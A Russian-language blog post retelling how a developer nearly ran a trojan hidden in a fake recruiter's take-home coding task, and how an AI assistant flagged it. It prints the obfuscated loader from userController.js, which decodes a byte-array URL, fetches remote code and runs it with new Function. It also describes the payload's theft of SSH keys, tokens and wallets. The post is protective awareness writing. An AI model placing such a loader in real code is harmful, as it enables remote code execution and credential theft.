Иногда хакеры не ломают пароли — они просто приглашают вас на «работу».
Именно это случилось с разработчиком Дэвидом Доддой, который рассказал, как едва не запустил вредоносный код, полученный под видом тестового задания на вакансию.
Его спас не антивирус, не фаервол, а... вопрос к ИИ-ассистенту.
👉 Оригинальная статья: How I Almost Got Hacked by a Job Interview
🕵️♂️ Как выглядела атака
Сценарий был выверен до мелочей — типичный фишинг для IT-сферы:
- 💼 Фальшивый рекрутер: LinkedIn-профиль «Chief Blockchain Officer» с десятками публикаций и более 1000 контактов.
- 🧱 Реальная компания: подлинная страница Symfa, верифицированная и активная.
- 📦 Тестовое задание: Bitbucket-репозиторий с React/Node-приложением, README, Docker-файлом и даже стоковой фотографией офисной сотрудницы с планшетом — полная имитация корпоративного кода.
- ⏳ Давление временем: «проверьте код до созвона через полчаса».
Разработчик открыл проект, быстро устранил несколько багов и уже собирался запустить npm start, когда решил спросить своего ИИ-помощника Cursor:
“Проверь, нет ли тут подозрительного кода, особенно касающегося файловой системы или криптокошельков.”
💣 Что скрывалось внутри
ИИ сразу выдал тревожный результат.
В файле server/controllers/userController.js находился небольшой, но изящно замаскированный фрагмент JavaScript:
(async () => {
const byteArray = [104,116,116,112,115,58,47,47,97,112,105,...];
const uint8Array = new Uint8Array(byteArray);
const decoder = new TextDecoder('utf-8');
axios.get(decoder.decode(uint8Array))
.then(response => { new Function("require", response.data.model)(require); });
})();
🧩 На первый взгляд — ничего особенного.
На деле — зашифрованный URL, загружающий с внешнего сервера вредоносный скрипт с полными правами Node.js.
Код активировался при обращении к админ-роутам и позволял злоумышленникам:
- 💰 воровать криптокошельки и seed-фразы,
- 📂 копировать файлы из локальной системы,
- 🔑 читать переменные окружения с токенами и паролями.
Через 24 часа вредоносный URL самоуничтожился — классический приём для сокрытия следов.
Дэвид загрузил payload в VirusTotal — анализ подтвердил: это высокоуровневый троян, ориентированный на Node.js-серверы и разработчиков.
🧠 Почему атака сработала почти идеально
Эта схема — пример социального инжиниринга нового поколения.
Хакеры не ломают серверы — они используют привычные процессы найма.
Главные приёмы:
- 🧳 доверие к LinkedIn: платформа с «реальными» людьми;
- ⏱ спешка: «перед звонком осталось 30 минут»;
- 🧰 псевдопрофессионализм: правильные папки, доки, скрипты, даже Docker Compose;
- 💬 реализм общения: корпоративные шаблоны, упоминание Agile, Bitbucket, Jira.
По сути, это supply-chain атака наоборот — вместо заражённого пакета npm тебе подсовывают заражённое тестовое задание.
🧑💻 Что спасло — и что нужно делать вам
ИИ стал последним рубежом между обычной проверкой и катастрофой.
Дэвид пишет:
«Одна команда, 30 секунд — и я увидел, что мог потерять всё».
Чтобы не стать следующей жертвой:
- 🐳 Запускайте чужой код только в изоляции. Docker, VM, Firejail, даже WSL — что угодно, но не хост-машина.
- 🤖 Просите ИИ или LLM проверить код. Современные ассистенты (Cursor, GitHub Copilot, Claude, GPT) мгновенно распознают обфускацию, скрытые вызовы eval, Function() или fs.
- 🔗 Проверяйте домены. Любая строка с axios.get, fetch или https://api.npoint.io/... должна насторожить.
- 🕵️ Не доверяйте "реалистичности". LinkedIn легко клонируется, а корпоративные страницы можно купить.
- ⚠️ Не запускайте код под давлением. Спешка — любимое оружие хакеров.
🔬 Технический штрих: как именно действовал вредонос
Загруженный с удалённого API код использовал new Function() — динамическую компиляцию, аналог eval().
Это позволило ему исполнять JavaScript прямо в памяти без записи на диск — антивирусы не реагируют.
Далее скрипт читал ~/.config, ~/.ssh, AppData/Roaming, парсировал JSON-файлы с токенами Discord, Slack, Metamask и отправлял данные на TOR-релей.
⚙️ Вредонос был модульным — подгружал новые части по мере активации админ-роутов.
💬 Моё мнение
Эта история — не про взлом компьютера. Это про взлом доверия.
Хакеры поняли, что безопаснее не ломать код, а заставить нас запустить его сами.
Сегодня «социнженерия» стала новой формой программистской наивности.
Мы привыкли думать: “Я же разработчик, меня не проведёшь.”
Но именно разработчики — идеальные жертвы: у нас есть SSH-ключи, доступы к продакшену, API-токены, приватные репозитории.
Вредонос в тестовом проекте — это не случайность. Это начало новой эпохи таргетированных атак на IT-индустрию.
🔗 Источники
💭 Вывод прост: теперь каждый “кодинг-челлендж” — это потенциальный Trojan Horse.
И если когда-то мы запускали “npm install” без страха, то теперь даже тестовое задание требует цифрового карантина.